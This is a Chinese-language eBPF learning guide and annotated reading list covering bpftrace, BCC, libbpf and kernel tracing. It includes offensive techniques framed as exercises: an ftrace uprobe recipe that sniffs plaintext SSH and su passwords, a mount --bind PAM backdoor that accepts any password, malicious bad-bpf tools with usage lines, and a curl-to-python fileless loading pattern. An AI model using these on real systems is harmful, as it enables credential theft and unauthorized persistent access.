   1: (85call bpf_get_current_pid_tgid#162864
   ...
 209: (85call htab_map_delete_elem#184720
 210: (b7) r0 = 1
 211: (95exit

5.5.3) bpf_probe_write_user

bpf_probe_write_user比较敏感,调用它时会额外产生日志

$ grep bpf_probe_write_user /var/log/syslog | less
Nov 10 16:13:29 Ubuntu-22 kernel: [325428.979060] python3[43143] is installing a program with bpf_probe_write_user helper that may corrupt user memory!

$ dmesg | grep bpf_probe_write_user | less
[325428.979060] python3[43143] is installing a program with bpf_probe_write_user helper that may corrupt user memory!

理论上可以拦截syslog(2)消掉这些日志,未实践。

5.6) 嗅探口令明文

通过pam_get_authtok第三形参authtok可获取SSH登录和su输入的明文口令,参看

https://github.com/wunderwuzzi23/Offensive-BPF/blob/main/bpftrace/pamsnoop.bt

6) Bad BPF

遍历

Detecting Kernel Hooking using eBPF - Pat H [2021-07-07]
https://blog.tofile.dev/2021/07/07/ebpf-hooks.html
(介绍BPF-HookDetect的原理,用到bpf_get_stackid)

BPF-HookDetect
https://github.com/pathtofile/bpf-hookdetect
(Detect Kernel Rootkits hooking syscalls)

Using eBPF to uncover in-memory loading - Pat H [2021-02-15]
https://blog.tofile.dev/2021/02/15/ebpf-01.html
(有个从内存中加载ELF的完整例子)
(curl https://elf | python3 -c)

BPF-PipeSnoop
https://github.com/pathtofile/bpf-pipesnoop
(using eBPF to log data being based in using shell pipes)

DEF CON 29: Bad BPF - Warping reality using eBPF - Pat H [2021-08-01]
https://blog.tofile.dev/2021/08/01/bad-bpf.html

Bad BPF
https://github.com/pathtofile/bad-bpf
https://github.com/pathtofile/bad-bpf/blob/main/src/writeblocker.bpf.c
(A collection of malicious eBPF programs)

6.2) 示例

/home/scz/src/bad-bpf-scz/src/bin

bpfdos              // sys_enter_ptrace
                    // bpf_send_signal
exechijack          // sys_enter_execve
                    // bpf_probe_write_user
pidhide             // sys_enter_getdents64
                    // bpf_tail_call、bpf_probe_write_user
sudoadd             // sys_enter_openat sys_enter_read /etc/sudoers
                    // bpf_probe_write_user
writeblocker        // __x64_sys_write
textreplace         // sys_enter_openat sys_enter_read
textreplace2        // 一个更高级的示例

cd /home/scz/src/bad-bpf-scz/src/bin

./writeblocker -p $(pidof vi)

./textreplace -f /proc/modules -i 'e1000' -r 'NSFOC'

./textreplace -f /sys/class/net/ens33/address
-i $(cat /sys/class/net/ens33/address)
-r '00:00:00:00:00:00'

只能骗"cat /sys/class/net/ens33/address",骗不了"ifconfig ens33"

7) libbpf (eBPF loader)

libbpf号称要替换BCC,遍历

https://github.com/libbpf/libbpf

https://github.com/iovisor/bcc/tree/master/libbpf-tools

LIBBPF API
https://libbpf.readthedocs.io/en/latest/api.html

BPF Portability and CO-RE - Andrii Nakryiko [2020-02-19]
https://facebookmicrosites.github.io/bpf/blog/2020/02/19/bpf-portability-and-co-re.html
https://nakryiko.com/posts/bpf-portability-and-co-re/

BCC to libbpf conversion guide - Andrii Nakryiko [2020-02-20]
https://facebookmicrosites.github.io/bpf/blog/2020/02/20/bcc-to-libbpf-howto-guide.html
https://nakryiko.com/posts/bcc-to-libbpf-howto-guide/
(作者认为libbpf相比BCC更有优势)

BPF CO-RE reference guide - Andrii Nakryiko [2021-10-24]
https://nakryiko.com/posts/bpf-core-reference-guide/
(fentry/fexit/fmod_ret/tp_btf都是"BTF-enabled"的)

Building BPF applications with libbpf-bootstrap - Andrii Nakryiko [2020-11-29]
https://nakryiko.com/posts/libbpf-bootstrap/
https://github.com/libbpf/libbpf-bootstrap
(不只是bootstrap.bpf.c,包含多个libbfp编程示例)

https://github.com/torvalds/linux/blob/master/tools/testing/selftests/bpf/progs/test_attach_probe.c
(有演示BPF_KSYSCALL的用法)

Journey to libbpf 1.0 - Andrii Nakryiko [2022-08-22]
https://nakryiko.com/posts/libbpf-v1/

Libbpf: the road to v1.0
https://github.com/libbpf/libbpf/wiki/Libbpf:-the-road-to-v1.0

Tips and Tricks for Writing Linux BPF Applications with libbpf - Wenbo Zhang [2020-12-14]
https://www.pingcap.com/blog/tips-and-tricks-for-writing-linux-bpf-applications-with-libbpf/
(提到__uint(map_flags, BPF_F_NO_PREALLOC))
(提到bpf_map__resize,动态调整map大小)

https://github.com/iovisor/bcc/blob/master/libbpf-tools/readahead.c
(演示bpf_program__set_attach_target,主要用途是兼容性)

7.1) arg0 type FWD is not a struct

这是内核BUG,Kernel 5.15.78已修复此BUG

"invalid bpf_context access" when trying to read `regs` parameter - [2022-07-01]
https://stackoverflow.com/questions/72824924/invalid-bpf-context-access-when-trying-to-read-regs-parameter
https://github.com/harai/invalidbpfcontext
https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.15.78
(This issue has been fixed in Linux 5.15.78)
(搜"With just the forward declaration")

7.2) connect_block.bpf.c

练习题,将bpftrace版的connect_block.bt翻译成libbpf版

7.2.1) bpf_strncmp

参看

introduce bpf_strncmp() helper - [2021-11-30]
https://lore.kernel.org/bpf/[email protected]/T/

https://stackoverflow.com/questions/73430502/ebpf-unknown-opcode-comparing-strings
https://stackoverflow.com/questions/60383861/failure-to-compare-strings-with-ebpf

在eBPF代码中进行字符串比较一直不尽人意,这与eBPF的校验器有关,安全稳定是eBPF的首要原则。libbpf 0.5.0没有bpf_strncmp,用git拉最新版libbpf,自编译之,支持bpf_strncmp;但Kernel 5.15.0-52不支持bpf_strncmp。

内核支持的bpf-helpers(7)函数可在/proc/kallsyms中找到,比如

$ grep -w bpf_get_current_comm /proc/kallsyms
ffffffffa3e61de0 T bpf_get_current_comm

$ grep -w bpf_strncmp /proc/kallsyms
(无输出)

内核支持的bpf-helpers(7)函数在vmlinux.h中有相应的枚举值

enum bpf_func_id {
    ...
    BPF_FUNC_get_current_pid_tgid = 14,
    BPF_FUNC_get_current_uid_gid = 15,
    BPF_FUNC_get_current_comm = 16,
    ...
};

$ grep BPF_FUNC_strncmp vmlinux.h
(无输出)

7.3) pamsnoop.bpf.c

练习题,将bpftrace版的pamsnoop.bt翻译成libbpf版

7.4) 基于eBPF的后门口令

7.4.2) _unix_verify_password

pam_unix!_unix_verify_password函数原型如下

/*
 * pam-1.4.0modulespam_unixsupport.c
 */

int _unix_verify_password
(
    pam_handle_t       *pamh,
    /*
     * user
     */

    const char         *name,
    /*
     * pass
     */

    const char         *p,
    unsigned long long  ctrl
)

形参name即user,形参p即输入的明文pass,但_unix_verify_password未被导出,导
出了pam_sm_authenticate。

pam_sm_authenticate     // 导出符号
  pam_get_user          // 取user
  pam_get_authtok       // 取pass
  _unix_verify_password // 检查user/pass
    verify_pwd_hash     // 编译时被inline展开了

7.4.4) 用stap查看相关函数调用栈回溯

stap -d /usr/bin/su
-d /usr/sbin/sshd
-d /usr/lib/x86_64-linux-gnu/security/pam_unix.so --ldd
-e 'probe process("/lib/x86_64-linux-gnu/libpam.so.0").function("pam_get_authtok") {
print_ubacktrace();println()}'

stap -d /usr/bin/su
-d /usr/sbin/sshd
-d /usr/lib/x86_64-linux-gnu/security/pam_unix.so --ldd
-e 'probe process("/usr/lib/x86_64-linux-gnu/security/pam_unix.so").function("_unix_verify_password") {
print_ubacktrace();println()}'

参看stapprobes(3stap),stap支持拦截16进制地址,而不是拦截符号。实测发现不是所有地址都可拦截,看上去stap的反汇编引擎、符号解析引擎有BUG。再就是,好像目标ELF必须有符号信息才行,即使指定16进制地址,相比之下eBPF、ftrace没有这种限制。

7.4.5) verify_pwd_hash

参看

https://github.com/linux-pam/linux-pam/blob/master/modules/pam_unix/passverify.c

有个verify_pwd_hash函数,_unix_verify_password会调verify_pwd_hash,但后者被inline展开了,pam_unix.dbg没有verify_pwd_hash这个符号,只能用逆向工程的套路定位被inline展开的verify_pwd_hash。

7.4.6) pamtamper.bpf.c

参看

基于eBPF的SSH后门 - treebacker [2021-11-29]
https://xz.aliyun.com/t/10564

练习题,用libbpf实现该作者的思路。

7.4.7) 用ftrace/uprobe_events嗅探明文口令

用eBPF嗅探SSH登录或者su的明文口令,都需要编程,需要第三方工具。可用OS自带的ftrace/uprobe_events达成同一目的,但ftrace只能嗅探明文口令,没法修改hash。

对于bpftrace或libbpf编程,可用uprobe+uretprobe对付out型参数;对于利用shell命令进行文件操作的ftrace,并不便于uprobe+uretprobe,此处不考虑C编程或shell script操作ftrace。

可在pam_get_authtok函数返回后利用rdi寄存器残像,其等于pamh,进而获取pamh->user、pamh->authtok。利用寄存器残像属于Hacking,有人对寄存器残像不理解,rdi、rsi、rdx、rcx对应前4个形参,这些都属于易失性寄存器,进入函数后不会在prologue阶段压栈保存,离开函数前不会在epilogue阶段弹栈恢复。有人在pam_get_authtok函数返回后同时利用rdi、rdx寄存器残像,理解其原理时无妨,切不可误以为pam_get_authtok第1、3形参在uretprobe处未变,rdi只是碰巧恢复了,rdx则完全不等于原第3形参authtok,rdx实际等于pamh->authtok。

下面的ftrace利用寄存器残像嗅探user、pass

cd /sys/kernel/tracing
echo > trace
echo 'r:some_event /lib/x86_64-linux-gnu/libpam.so.0:0x88b0 comm=&#36;comm user=+0(+0x30(%di)):string pass=+0(+0(%di)):string' > uprobe_events
cat events/uprobes/some_event/format
echo 1 > events/uprobes/some_event/enable
echo 1 > tracing_on
cat /sys/kernel/tracing/trace_pipe
...
echo 0 > tracing_on
echo 0 > events/uprobes/some_event/enable
echo '-:some_event' >> uprobe_events

用ftrace嗅探明文口令意义有限,毕竟只有root才能ftrace。

7.4.8) 基于pam_permit.so的后门

参看

Linux Pam后门总结拓展 - [2020-06-22]
https://xz.aliyun.com/t/7902

学到一些歪招

mount --bind /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_unix.so
umount /lib/x86_64-linux-gnu/security/pam_unix.so

第一条mount命令使得将来试图加载pam_unix.so时实际加载pam_permit.so,效果是任意口令均能认证成功,可用SSH登录及su测试之。过去我不知道"mount --bind"还能操作单个文件,此次专门看了一眼man手册,确实有一句

One can also remount a single file (on a single file)

参看

/etc/pam.d/common-auth

认证失败时会用pam_deny.so,同样可以用mount屏蔽之

mount --bind /lib/x86_64-linux-gnu/security/pam_permit.so /lib/x86_64-linux-gnu/security/pam_deny.so
umount /lib/x86_64-linux-gnu/security/pam_deny.so

7.5) ttysnoop.bpf.c

练习题,将BCC版的ttysnoop.py翻译成libbpf版

8) libbpf-bootstrap

8.1) 编译

参看

《GIT与GFW》
http://scz.617.cn:8/unix/202211231303.txt

8.2) eBPF代码兼容性

参看

BPF Portability and CO-RE - Andrii Nakryiko [2020-02-19]
https://nakryiko.com/posts/bpf-portability-and-co-re/

BPF CO-RE reference guide - Andrii Nakryiko [2021-10-24]
https://nakryiko.com/posts/bpf-core-reference-guide/

内核支持BTF时,可以不依赖bpf_probe_read()而用C语法读取内核态内存,搜"field offset relocation"。

利用bpftool生成vmlinux.h,可以代替所有的内核头文件,其中甚至包含从未导出的内部数据结构;但它不包含#define定义的宏,有时必须在some.bpf.c中自定义宏。

BCC可以写"pid_t pid = task->pid",是因为BCC会将之替换成bpf_probe_read()。即使没有BCC的魔法替换机制,若eBPF代码是BTF_PROG_TYPE_TRACING型,eBPF引擎借助BTF可以理解C语法,可以直接写"task->pid"。兼容性更好的写法是"BPF_CORE_READ(task, pid)"。

BPF_CORE_READ_BITFIELD只能用于"BTF-enabled"的eBPF代码,比如fentry、fexit、fmod_ret、tp_btf等。

9) 其他文献

前面说"遍历"的,就是要一个字一个字看过去的,有些我反复看过,第二遍看比第一遍看领会更多。后面是一些其他相关文献,时间允许时,建议也遍历之。

BPF Documentation
https://docs.kernel.org/bpf/

Linux Extended BPF (eBPF) Tracing Tools
https://www.brendangregg.com/ebpf.html

Linux Tracing Workshops Materials
https://github.com/goldshtn/linux-tracing-workshop

Comparing SystemTap and bpftrace - Emanuele Rocca [2021-04-13]
https://lwn.net/Articles/852112/

bpf: whitelist all syscalls for error injection - [2018-03-21]
https://lore.kernel.org/lkml/[email protected]/

Full-system dynamic tracing on Linux using eBPF and bpftrace - Hongli Lai [2019-01-31]
https://www.joyfulbikeshedding.com/blog/2019-01-31-full-system-dynamic-tracing-on-linux-using-ebpf-and-bpftrace.html
(有些内容已经过时,但基本框架适用)

Kernel journey with bpftrace - [2020-05-31]
https://www.dlee-libo.tk/2020/05/31/bpftrace-kernel-journey/

How an Obscure ARM64 Link Option Broke Our BPF Probe - [2022-08-31]
https://rhysre.net/how-an-obscure-arm64-link-option-broke-our-bpf-probe.html
(bpftool btf dump file /sys/kernel/btf/vmlinux format raw | grep tty_write)

Intercepting Zoom's encrypted data with BPF - <[email protected]> [2020-10-12]
https://confused.ai/posts/intercepting-zoom-tls-encryption-bpf-uprobes

Tracee: Runtime Security and Forensics using eBPF
https://github.com/aquasecurity/tracee/
https://aquasecurity.github.io/tracee/dev/

System call hooking example arguments are incorrect - [2020-01-22]
https://stackoverflow.com/questions/59851520/system-call-hooking-example-arguments-are-incorrect

use struct pt_regs based syscall calling for x86-64 - Dominik Brodowski [2018-03-30]
https://lwn.net/Articles/750536/

bpf: hash map pre-alloc - Alexei Starovoitov <[email protected]> [2016-03-06]
https://lwn.net/Articles/679074/

eBPF IDA Proc
https://github.com/cylance/eBPF_processor
(可以利用IDA的图形化模式)

定制bcc/ebpf在android平台上实现基于dwarf的用户态栈回溯 - 飞翔的猫咪 [2022-09-27]
https://bbs.pediy.com/thread-274546.htm

Linux内核监控在Android攻防中的应用 - evilpan [2022-01-03]
https://evilpan.com/2022/01/03/kernel-tracing/
https://bbs.pediy.com/thread-271043.htm

10) eBPF入门小结

我将eBPF视作调试工具,对直方图之类的统计功能毫无兴趣,前面是我推荐的学习路线。从实践角度看,eBPF涉及bpftrace、BCC Python Bindings、libbpf编程。底层ftrace值得了解一下。若有DTrace、SystemTap经验,学习eBPF会省些事,没有也无所谓。简而言之,依次学习bpftrace、BCC、libbpf。可以预设一些具体小目标,实践之。

最初我对libbpf不感冒,后来发现,libbpf最具实用性,尤其当你的eBPF代码需要在陌生环境中运行时。不像bpftrace、BCC需要一大堆依赖,特别重型,静态链接libbpf的ELF可以随身携带。对于ttysnoop、pamsnoop、pamtamper这类功能来说,显然libbpf化才有实战意义。


原文始发于微信公众号(青衣十三楼飞花堂):eBPF入门文献汇总

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月22日10:58:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   eBPF入门文献汇总https://cn-sec.com/archives/1478008.html

发表评论

匿名网友 填写信息